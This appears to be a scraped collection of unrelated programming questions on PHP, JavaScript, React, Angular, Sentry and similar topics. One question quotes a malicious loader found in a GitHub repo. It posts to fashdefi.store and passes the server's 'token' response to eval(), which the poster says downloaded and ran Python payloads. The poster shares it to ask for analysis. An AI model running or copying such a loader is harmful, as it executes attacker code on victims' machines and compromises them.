Why does phpunit’s check for the passed arguments fail when I use named arguments?

I have a simple test where I mock a dependency of the code under test:

<?php

use PHPUnitFrameworkTestCase;

class Dependency {
    public function someFunction(int $first, int $second): int {
        return $first + $second;
    }
}

class CodeUnderTest {
    public function testMe(Dependency $dep, int $first, int $second): int {
        return $dep->someFunction($first, $second);
    }
}

class TheTest extends TestCase
{
    public final function testMe(): void {
        $dep = $this->createMock(Dependency::class);
        $dep->expects(self::once())->method('someFunction')->with(second: 2, first: 1)->willReturn(3);
        $codeUnderTest = new CodeUnderTest();
        $codeUnderTest->testMe($dep, 1, 2);
    }
}

This fails:

Expectation failed for method name is "someFunction" when invoked 1 time(s)
Parameter 0 for invocation Dependency::someFunction(1, 2): int does not match expected value.
Failed asserting that 1 matches expected 2.
Expected :2
Actual   :1

Why does this happen? My mock object clearly defines the expected values, even by name.

Update z/OS Password Using PHP cURL Module

I’m trying to change a password on a z/OS mainframe that I make an FTPS connection to. Working with a legacy codebase and I’m trying to get rid of the exec calls to cURL. You’ll notice all the certificate skipping in the old call…

$exec_string = "CURL -q -v -k -S --ftp-ssl-reqd "ftp://" . $hold_user['dm_ftphost'] . "/" --user " . $hold_user['dm_ftpuser'] . ":" . $hold_user['dm_ftppass'] . "/" . $new_pass . "/" . $new_pass . " -Q "cdup"";

I have been unable to translate this to the cURL PHP module. I’ve tried different combinations of CURLOPT_USER, CURLOPT_PASS, and CURLOPT_USERPWD.

As an example of what I’ve tried…

public function updatePassword($newPass) {
        $options = [
            CURLOPT_URL   => "ftp://" . $this->credentials->getField(Ftp_Credentials::HOST),
            CURLOPT_USERPWD =>  $this->credentials->getField(Ftp_Credentials::USER, ret_aes_pass()) . ":" . $this->credentials->getField(Ftp_Credentials::PASS, ret_aes_pass())
                . "/{$newPass}/{$newPass}"
        ];
        return $this->returnSetResult($this->curl($options));
    }

I know I have to update my password at login so there are few options I can use.

Below are my options for every cURL connection I make in case one of these is keeping me from setting my new password.
(I did comment out CURLOPT_USERNAME and CURLOPT_PASSWORD when I tested the above function)

        $options += [
            CURLOPT_FORBID_REUSE     => true,
            CURLOPT_FTP_USE_EPSV     => false,
            CURLOPT_FTP_SKIP_PASV_IP => true,
            CURLOPT_USERNAME         => $this->credentials->getField(Ftp_Credentials::USER, KDRS_AES_KEY),
            CURLOPT_PASSWORD         => $this->credentials->getField(Ftp_Credentials::PASS, KDRS_AES_KEY),
            CURLOPT_PORT             => $this->credentials->getField(Ftp_Credentials::PORT),
            CURLOPT_VERBOSE          => true,
            CURLOPT_FAILONERROR      => true,
            //CURLOPT_FOLLOWLOCATION   => true,
            CURLOPT_TIMEOUT          => 15,
            // SSL options for secure connection
            CURLOPT_FTP_SSL          => CURLFTPSSL_ALL,              // Use SSL/TLS for FTP
            CURLOPT_FTPSSLAUTH       => CURLFTPAUTH_TLS,             // Authenticate using TLS
            CURLOPT_SSLVERSION       => CURL_SSLVERSION_TLSv1_2,     // Use TLS 1.2 explicitly
            CURLOPT_SSL_VERIFYPEER   => true,                        // Verify the peer's SSL certificate
            CURLOPT_SSL_VERIFYHOST   => self::SSL_VERIFY_HOST_ENABLED,                           // Verify the host's name matches the SSL certificate
            CURLOPT_CAINFO           => PATH_CA_BUNDLE               // Path to your CA certificate bundle
        ];

How does Sentry report events when the API request result is 200? Do you use envelope

How does Sentry report events when the API request result is 200? Do you use envelope

I found 200 result can’t be send to envelope, but i want to get all api performance such as p99, p95 .

here is my config in main.js
“dependencies”: {
“@sentry/tracing”: “^7.120.3”,
“@sentry/vue”: “7.104.0”,
“axios”: “^1.8.4”,
“core-js”: “^3.8.3”,
“vue”: “^3.2.13”,
“vue-router”: “^4.5.0”
},

here is my sentry config in main.js

Sentry.init({
app,
dsn: ‘https://dsn’,
integrations: [
new BrowserTracing({
routingInstrumentation: Sentry.vueRouterInstrumentation(router),
traceFetch: true,
traceXHR: true,
}),
],
tracesSampleRate: 1.0,
environment: ‘production’,
beforeSendTransaction(transaction) {
console.log(‘Transaction sent:’, transaction);
return transaction;
},
//tunnel: “http://localhost:9910/api/v1/event/report2”,
debug: true,
})

how do I invoke the promise? [closed]

I have following code and I want to invoke the promise and then pass in our resolve and reject functions?

let myPromise = new Promise((resolve, reject) => {
  let num = Math.floor(Math.random() * 10) + 1;
  if (num < 5) {
      resolve("You've guessed correctly!")
  } else {
      reject("Better luck next time...")
  }
});
function handleSuccess(goodNews) {
    console.log(goodNews)
}
function handleFailure(badNews) {
    console.log(badNews)
}

Invalid hook call. Hooks can only be called inside of the body of a function component” and “dispatcher is null”

I am working on a React project, but I’m encountering an error related to hooks, and I cannot figure out what is causing it. The error message I’m seeing is:

Warning: Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:

  1. You might have mismatching versions of React and the renderer (such as React DOM)
  2. You might be breaking the Rules of Hooks
  3. You might have more than one copy of React in the same app

Uncaught TypeError: dispatcher is null
useRef React
BrowserRouter chunk-LSOULM7L.mjs:8003

    import React, { useState, useEffect } from "react";
import { getAllMatches, getAllSeasons, getAllTeams } from "../services/api";
import StatsOverview from "../components/StatsOverView";
import MatchCountChart from "../components/MatchChart";

const Dashboard = () => {
    const [totalStats, setTotalStats] = useState({ totalMatches: 0, totalTeams: 0, totalSeasons: 0 });
    const [seasonMatches, setSeasonMatches] = useState([]);
    const [loading, setLoading] = useState(true);

    useEffect(() => {
        const fetchData = async () => {
            // Fetch data logic...
        };
        fetchData();
    }, []);

    return (
        <div>
            <h1>Dashboard</h1>
            <StatsOverview stats={totalStats} />
            <MatchCountChart data={seasonMatches} />
        </div>
    );
};

export default Dashboard;

App.js

// src/App.js
import React from 'react';
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom';
import Dashboard from './pages/Dashboard';
function App() {
  return (
    <Router>
      <Routes>
        <Route path="/" element={<Dashboard />} />
        {/* You can add more routes below */}
      </Routes>
    </Router>
  );
}

export default App;

package.json

"dependencies": {
    "@testing-library/dom": "^10.4.0",
    "@testing-library/jest-dom": "^6.6.3",
    "@testing-library/react": "^16.3.0",
    "@testing-library/user-event": "^13.5.0",
    "d3": "^7.9.0",
    "react": "^19.1.0",
    "react-dom": "^19.1.0",
    "react-scripts": "5.0.1",
    "web-vitals": "^2.1.4"
  },

How to replace self iframe with a new app

I have a parent application that embeds my Angular landing page inside an (iframe-div). This landing page displays icons for multiple apps. When a user clicks an icon, I want to:

Replace the current iframe with a new app (by changing its URL).

Show a loader until the new app finishes loading. But replacing url directly would destroy my code execution and I will not be able to show loader.

The new app emits a postMessage like { MessageType: ‘AngularAppLoaded’ } once it’s ready.

Problem:
Since my Angular app is running inside the iframe,if I open another iframe then wait for iframe to load and send message. This approach is working but now I have 3 iframes in my app, which is causing delays.

Idea:
Would this approach work better?

From inside the iframe (i.e. my Angular app), create a new with the target app’s URL.

Append it (initially hidden) to the parent DOM.

Once the new iframe emits the expected postMessage, replace the current iframe (iframe-div) in the parent document with the new one.

Show a loader in the meantime.

Modal popup wont edit

So I’m trying to set up this popup after invoice is printed where operator can fill in the amount provided and it auto-calculates change.

<div id="payment-modal" class="modal">
  <div class="modal-box">
    <h3>Pagesa e Klientit</h3>
    <label for="paid-amount">Klienti Pagoi:</label><br>
    <input id="paid-amount" type="number" step="0.01" /><br>
    <label for="change-amount">Kusuri:</label><br>
    <input id="change-amount" type="text" readonly /><br>

    <div class="modal-actions">
      <button id="confirm-payment">✅ Konfirmo</button>
      <button id="cancel-payment">❌ Anulo</button>
    </div>
  </div>
</div>

  console.log("✅ Generated Invoice:", filename);
  window.showPaymentModal(invoice.total, monedha.split(' - ')[0]);
  
});


const modal = document.getElementById('payment-modal');
const paidInput = document.getElementById('paid-amount');
const changeOutput = document.getElementById('change-amount');
const confirmBtn = document.getElementById('confirm-payment');
const cancelBtn = document.getElementById('cancel-payment');

window.showPaymentModal = (total, currency = 'ALL') => {
  modal.style.display = 'flex';
  paidInput.value = '';
  changeOutput.value = `0.00 ${currency}`;
  setTimeout(() => paidInput.focus(), 50);

  const updateChange = () => {
    const paid = parseFloat(paidInput.value);
    const change = !isNaN(paid) ? (paid - total).toFixed(2) : '0.00';
    changeOutput.value = `${change} ${currency}`;
  };

  paidInput.removeEventListener('input', updateChange); // clean previous bindings
  paidInput.addEventListener('input', updateChange);

  confirmBtn.onclick = () => {
    modal.style.display = 'none';
    location.reload(); // Or continue to next logic
  };

  cancelBtn.onclick = () => {
    modal.style.display = 'none';
  };
};


.modal {
  display: none;
  position: fixed;
  top: 0; left: 0;
  width: 100%; height: 100%;
  background: rgba(0, 0, 0, 0.4);
  backdrop-filter: blur(5px);
  justify-content: center;
  align-items: center;
  z-index: 9999;
}

.modal-box {
  background: #fff;
  padding: 2rem;
  border-radius: 16px;
  box-shadow: 0 8px 24px rgba(0,0,0,0.2);
  width: 320px;
  text-align: center;
}

.modal-box input {
  width: 90%;
  padding: 0.5rem;
  font-size: 16px;
  margin-bottom: 1rem;
  border: 1px solid #ccc;
  border-radius: 8px;
  text-align: center;
}

.modal-box input:focus {
  border-color: #007aff;
  outline: none;
}

.modal-actions {
  display: flex;
  gap: 1rem;
  justify-content: center;
}

.modal-actions button {
  flex: 1;
  padding: 0.6rem;
  font-weight: 500;
  border: none;
  border-radius: 8px;
  background: #007aff;
  color: white;
  cursor: pointer;
}

.modal-actions button#cancel-payment {
  background: #e0e0e0;
  color: #333;
}

The popup wont edit unless I tab out and tab back in. I tried simulating a focus out and focus in with no luck, I tried a myriad of things but no luck, anyone had a similar experience?

input.focus() triggered by button event listener on Enter causes a refresh of the page when only a single input exists on the page

Working in React 17.0.2

I have a single input on a page; I’ve tried type="password" and type="input". Only added second input in to test what happens if there’s more than one. Also used a text input.

I have a button.

I have a keydown eventListener listening for ‘Enter’.

On Enter click I check the document.activeElement. If the activeElement is the input, I blur(). If the activeElement is the button, I return false;

If neither are the activeElement (essentially if body is the activeElement), then I document.querySelector() for the button and trigger a .click()

The page refreshes as soon as the code hits the .focus()

If I comment the focus() out, no refresh.

If there are multiple inputs on the page I do a querySelectorAll(), grab the first field and focus. No refresh, that first field focuses just fine.

The html is all in a form, the form submit is handled via later functionality, I’m not including all of that here as the form does not submit in any other circumstance except when there is a single input on the page and I hit Enter and the eventListener captures the click and focuses on that input.

Things I have tried to prevent this:

  1. Used jQuery.
  2. Added an event listener for focus and added event.preventDefault() as well as return false

Same happens in Chrome, Firefox, Edge.

Here’s some of my code:

Input

<input
    id="password"
    name="password"
    type="text"
/>

Button

<button
    className={`btn 'btn-primary' js-enter-click`}
    id='next'
    onClick={(event) => handleNextClick(event)}
    onKeyDown={(event) => handleNextKeyDown(event)}
    ref={buttonNextRef}
    type="button"
>
    Continue
</button>

Button handlers

// Prevent React from triggering two onClicks when a button has focus and Enter is pressed
const handleNextKeyDown = (event) => {
    if (event.key === 'Enter') {
        event.preventDefault();
        handleNextClick(event);
    }
};

// Handle the next button click
const handleNextClick = (event) => {
    event.preventDefault();
    focusFirstInvalidField();
}

Focus on a field function
NOTE: this used to have code that was testing for validation etc but I stripped it all out to make debugging simple

// Focus on the first invalid/empty field
focusFirstInvalidField: function() {
    const invalidFields = document.querySelectorAll('input:enabled:not([type="hidden"]):not([type="button"]), select:enabled');

    // if there is only a single field on the page, try adding an eventlistener to listen for the focus event
    // then as we focus on the field, try preventDefault() to prevent the page from reloading
    // NOTE this doesn't prevent the refresh
    if (invalidFields.length === 1) {
        invalidFields[0].addEventListener('focus', (event) => {
            event.preventDefault();
            return false;
        });

        // This focus causes a refresh.
        invalidFields[0].focus();
    } else {
        // Also have tried looping through all the fields, then focusing. If only one field, refresh happens.
        for (const field of invalidFields) {

            // As soon as the code hits this line poof refresh. Comment it out, no refresh.    
            field.focus();

            break;
        }
    }
}

Event Listener

document.addEventListener('keydown', function(e) {
    if (e.key === 'Enter') {
        // Check if we're in a field with focus first, and blur it, then return out of this function.
        if (document.activeElement &&
            document.activeElement.tagName === 'INPUT' ||
            document.activeElement.tagName === 'SELECT' ||
            document.activeElement.tagName === 'TEXTAREA'
        ) {
            document.activeElement.blur();

            return false;
        } else if (document.activeElement.classList.contains('.btn')) {
            // If the activeElement is a button, return false. Each action button should have an onKeyPress that handles the enter key and triggers the onClick handler.
            return false;
        }

        const next = document.querySelector('.js-enter-click');

        // Click the next button if it exists and is not disabled
        next && next.click();

        // prevent further activity
        return false;
    }
});

Javascript decompile, reverse engineer the file

Recently found this line of code from the github repo. When spin up the node backend project, it eval(token) and creates few files in ~/, named ./n2/ and .npl. These eval downloaded files are in python. Basically remote running this .py files. Later I have noticed in my ps -Aux, it was triggered with python3 ... files.

PS. Dont run that code in local machine, as long as dont understand it. (use VM!).
If there are any other forums help in comment.

Not experienced in reverse engineering, if someone has a good knowledge and understand.

Help would be amazing to turn back to readable file WHAT it does and When/Where!

axios
  .post('http://fashdefi.store:6168/defy/v6')
  .then((res) => {})
  .catch((err) => {
    const {
      response: {
        data: { token },
      },
    } = err;
        console.log("===========================")
        console.log(token);
        console.log("=============================")

        // eval(token);
  });

This is JS code copied from console.log().
https://codefile.io/f/vQUZmAuQ0v

Remix Error: You defined an action for route “routes/” but didn’t return anything from your action function

I am using Remix for my project and I am currently getting this error:

Error: You defined an action for route "routes/demo" but didn't return anything from your action function. Please return a value or null.

The error message sounds quite straight forward yeah? But I can’t put a return when I am already throwing an error. I noticed this happen when name is John.

But this is a mock of my action code

export async function action({ request }: ActionFunctionArgs) {
const formData = await request.formData();
  try {
       if (formData.get(“name”) === “John”) {
         throw new Response(“Name is not allowed”, { status: 400 });
      }
      return {success:true}
  } catch (e) {
    console.log(e);
  }
}

Chrome Extension Boilerplate Modify json response body

I’ve been working on trying to modify the body of a json response using
chrome-extension-boilerplate-react repo so i have worked with different
webrequests listeners like:
onHeadersReceived,
onCompleted,
and recently I am working with filterResponseData
which gives me an error about It is not a function,

I am using Manifest V2 and V3 but non of them have worked for me, does any body know how to make this function work? or any other suggestion? thank you!!

I have tried this:
filterResponseData(details.requestId)//this line is causing the error about is not a function.

I was expecting to run without error mark

When pop-up is closed, the parent receives focus instead of button that opened pop-up

I have a rather complicated custom datepicker component written in Angular that is similar in function to a standard HTML date input. It is expected that when the user closes the calendar pop-up, either by selecting a date or exiting without selecting, that the focus returns to the button that opened the calendar; but for some reason the focus is forced onto the parent input (or label), even if I try to programmatically force the focus on to the button.

I can reproduce this issue in a simple example with just HTML and Javascript, so it appears to be something inherent and not some Angular idiosyncracy or part of my code that I can’t find. Is this how it’s supposed to work for some reason? Is the only way to fix it to extract the pop-up out of the input component?

const inputLbl = document.getElementById("inputLbl");

function showTip() {
  if (!document.getElementById('newDiv')) {
    const newDiv = document.createElement('div');
    newDiv.id = 'newDiv';
    newDiv.textContent = "Here's a tip for you!"
    newDiv.style.cssText = 'width: 80px; height: 80px; background-color: lightgray; border-style: solid;';

    const newButton = document.createElement('button');
    newButton.textContent = 'close';
    newButton.style.cssText = 'display: block; margin: 1rem;'
    newButton.addEventListener('click', function() {
      newDiv.remove();
      // the focusing - it does nothing!
      document.getElementById('showTip').focus();
    });
    newDiv.appendChild(newButton);
    inputLbl.appendChild(newDiv);
    newButton.focus();
  }
}
<label id="inputLbl">
  Input:
  <input>
  <button id="showTip" onclick="showTip()">?</button>
</label>

Convert String Data to JSON using JSON.parse

I want to parse the data within section “Data returned from API“. This data is from an API and I want to remove ROW_NUMBER and ensure the data is JSON. I’m using JSON.parse() but I’m getting an error. Not sure what I’m doing wrong. I provided a small section of the code within section “Sample Code“.

Desired Output: Review format within section “JSON Output Data (No ROW_NUMBER field)

I tried using JSON.parse statement but I’m getting the following error.

Error


SyntaxError: JSON.parse: unexpected character at line 1 column 2 of the JSON data

It appears that the first line of data is null. Review section “Raw Data (with line numbers)”.

Raw Data (with line numbers)


1
2 [
3  {
4    "ROW_NUMBER": 1,
5    "FIRST": "Elvis",
6    "LAST": "Presley"
7  },
8  {
9    "ROW_NUMBER": 2,
10    "FIRST": "Marilyn",
11    "LAST": "Monroe"
12  },
13  {
14    "ROW_NUMBER": 3,
15    "FIRST": "James",
16    "LAST": "Dean"
17  }
18 ]


Data returned from API


[
  {
    "ROW_NUMBER": 1,
    "FIRST": "Elvis",
    "LAST": "Presley"
  },
  {
    "ROW_NUMBER": 2,
    "FIRST": "Marilyn",
    "LAST": "Monroe"
  },
  {
    "ROW_NUMBER": 3,
    "FIRST": "James",
    "LAST": "Dean"
  }
]

JSON Output Data (No ROW_NUMBER field)


[
  {
    "FIRST": "Elvis",
    "LAST": "Presley"
  },
  {
    "FIRST": "Marilyn",
    "LAST": "Monroe"
  },
  {
    "FIRST": "James",
    "LAST": "Dean"
  }
]

Sample Code


   options = {
     method: "get",
     dataType: "json",
     headers: {
       "Content-Type": "application/json;charset=utf-8",
       "Accept": "application/json;charset=utf-8"
     }
   };

   fetch('URL', options)
     .then(response => response.json())
     .then(data => {
        data.forEach(item => {
          parsedCode = JSON.parse(data);
        });
     })
     .catch((error) => {
        toastr["error"]("Something went wrong.", "Error");
     });